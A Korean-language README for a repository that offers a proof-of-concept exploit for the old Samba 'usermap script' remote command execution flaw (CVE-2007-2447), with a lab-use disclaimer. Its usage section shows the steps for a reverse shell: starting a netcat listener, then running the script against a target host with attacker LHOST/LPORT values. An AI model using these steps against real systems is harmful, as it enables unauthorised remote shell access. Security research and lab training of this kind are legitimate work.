CVE-2007-2447

PoC: Samba "usermap script" 원격 명령 실행 (과거 CVE). 이 저장소에는 연구 및 교육적 검토를 위한 소규모 개념 증명(PoC) 스크립트가 포함되어 있습니다. 주요 스크립트는 usermap_script_Command_Execution.py입니다.

참고 자료: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/

사용법

저장소를 클론하고 통제된 실습 환경에서 스크립트를 실행하세요. PoC는 선택적으로 LHOST:LPORT로의 리버스 셸을 사용합니다. 스크립트를 실행하기 전에 리스너를 시작하고 종속성이 설치되어 있는지 확인하세요(설치 섹션 참조).

git clone https://github.com/abdulsaabir/CVE-2007-2447.git
cd CVE-2007-2447
# ensure dependencies are installed (see Installation), then start a listener on your LHOST:LPORT
# example using netcat with a placeholder port:
nc -lnvp <LPORT>
# in another terminal, run the PoC against the lab target:
python3 usermap_script_Command_Execution.py <RHOST> 139 <LHOST> <LPORT>

매개변수

• RHOST — 대상 IP 또는 호스트명
• RPORT — 대상 TCP 포트(일반적으로 139)
• LHOST — 리버스 연결을 위한 리스너 IP
• LPORT — 리스너 포트

설치

권장 사항: 스크립트를 실행하기 전에 격리된 Python 가상 환경을 만들고 requirements.txt에서 종속성을 설치하세요.

python3 -m venv exploit_env
source exploit_env/bin/activate
pip install -r requirements.txt

안전 및 면책 조항

이 코드는 합법적인 보안 연구, 교육 및 방어적 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해 이 스크립트를 실행하지 마세요. 오용은 법적 결과를 초래할 수 있으며, 저장소 소유자는 오용에 대해 책임지지 않습니다.

잠재적으로 위험한 코드를 분석할 때는 항상 정적 코드 검토와 통제된 실습 테스트(VM 스냅샷, 격리된 네트워크, 패킷 캡처)를 우선적으로 수행하세요.

비실행형 주석 포함 분석 문서나 requirements.txt가 필요하다면 이슈를 열거나 여기에서 요청하세요.